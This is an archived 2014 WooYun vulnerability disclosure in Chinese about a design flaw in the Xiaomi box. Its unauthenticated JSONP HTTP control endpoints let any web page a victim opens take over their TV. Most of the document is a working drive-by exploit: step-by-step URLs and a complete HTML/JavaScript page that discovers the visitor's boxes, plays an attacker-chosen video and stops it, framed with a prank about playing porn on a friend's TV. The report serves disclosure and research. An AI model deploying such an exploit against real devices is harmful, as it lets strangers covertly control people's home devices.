乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-02-14: 细节已通知厂商并且等待厂商处理中 2014-02-24: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2014-04-20: 细节向核心白帽子及相关领域专家公开 2014-04-30: 细节向普通白帽子公开 2014-05-10: 细节向实习白帽子公开 2014-05-12: 细节向公众公开
小米盒子设计缺陷,导致可被攻击控制
小米盒子可使用http方式进行远程遥控,接口设计缺陷导致可轻易被攻击。比如给朋友发个网址,如果他用家里任意电脑或手机啥的打开了,可让他家电视上自动开始播放毛片,神不知鬼不觉。
利用步骤,以播放视频为例:1、通过http://pds.duokanbox.com/peer/fetchbyipopen/?mac_address=1&callback=wooyun 接口可获得当前用户的小米盒子列表,和http远程控制ip及端口2、访问http://ip:port/request?action=isAlive&callback=wooyun 获取盒子状态3、访问http://ip:port/video/action=play&clientname=PC&url=视频地址&name=test&callback=wooyun,提交播放请求同时可发现http://ip:port/controller 接口也可访问,能更多控制。演示:http://yekai.me/mitv/。
<!doctype html><html><head> <meta charset="utf-8"> <title>你有小米盒子么?</title></head><body> <p id="tips" style="display:none">友情提示:播放过程中请不要刷新该页面,会有bug导致电视可能坏掉!</p> <ul id="playing"> </ul> <script type="text/javascript"> (function(){ var testVideo = 'http://pl.youku.com/playlist/m3u8?ts=1392311744&keyframe=0&vid=XNjYxNjI1ODQ4&type=hd2'; var randomStr = function(length){ var ret = []; length = length || 10; while(length--){ ret.push(String.fromCharCode(97 + Math.floor(Math.random()*25))); } return ret.join(''); }; var jsonp = function(url, cb){ var s = document.createElement('script'); if(url.search('%cb%') !== -1 && cb){ var fcName = randomStr(); window[fcName] = cb; url = url.replace('%cb%', fcName); } s.src = url; document.head.appendChild(s); }; var $playlist = document.getElementById('playing'), tips = false; var playingTmpl = function(data){ if(!tips){ document.getElementById('tips').style.display = 'block'; tips = true; } var html = '<li>' + data.devicename + ' : <button data-tv="' + data.ip + '">stop</button></li>'; $playlist.innerHTML += html; }; var MI = { getTvs : function(cb){ jsonp('http://pds.duokanbox.com/peer/fetchbyipopen/?mac_address=1&callback=%cb%', function(data){ if(data && data.status === 0){ cb && cb(data.data); } }); }, isActive : function(tv, cb){ jsonp('http://' + tv + '/request?action=isAlive&callback=%cb%', function(data){ if(data && data.status === 0){ cb && cb(data.data); } }); }, play : function(tv, video, name, cb){ jsonp('http://' + tv + '/video/action=play&clientname=PC&url=' + encodeURIComponent(video) + '&name=' + encodeURIComponent(name) + '&callback=%cb%', function(data){ cb && cb(!data.status); }); }, stop : function(tv, cb){ jsonp('http://' + tv + '/controller?action=keyEvent&keyCode=back&callback=%cb%', function(data){ cb && cb(!data.status); }); } }; MI.getTvs(function(tvs){ tvs.forEach(function(tv){ MI.isActive(tv, function(tvData){ if(tvData){ MI.play(tvData.ip, testVideo, '随便一个名字', function(success){ success && playingTmpl(tvData); }); } }); }); }); document.addEventListener('click', function(e){ var target = e.target; if(target.tagName.toLowerCase() === 'button'){ var tv = target.dataset.tv; MI.stop(tv, function(status){ if(status){ target.parentNode.parentNode.removeChild(target.parentNode); } }); } }); })(); </script></body></html>
不使用jsonp可跨站获取数据接口可避免部分问题
危害等级:无影响厂商忽略
忽略时间:2014-05-12 10:22
漏洞Rank:20 (WooYun评价)
暂无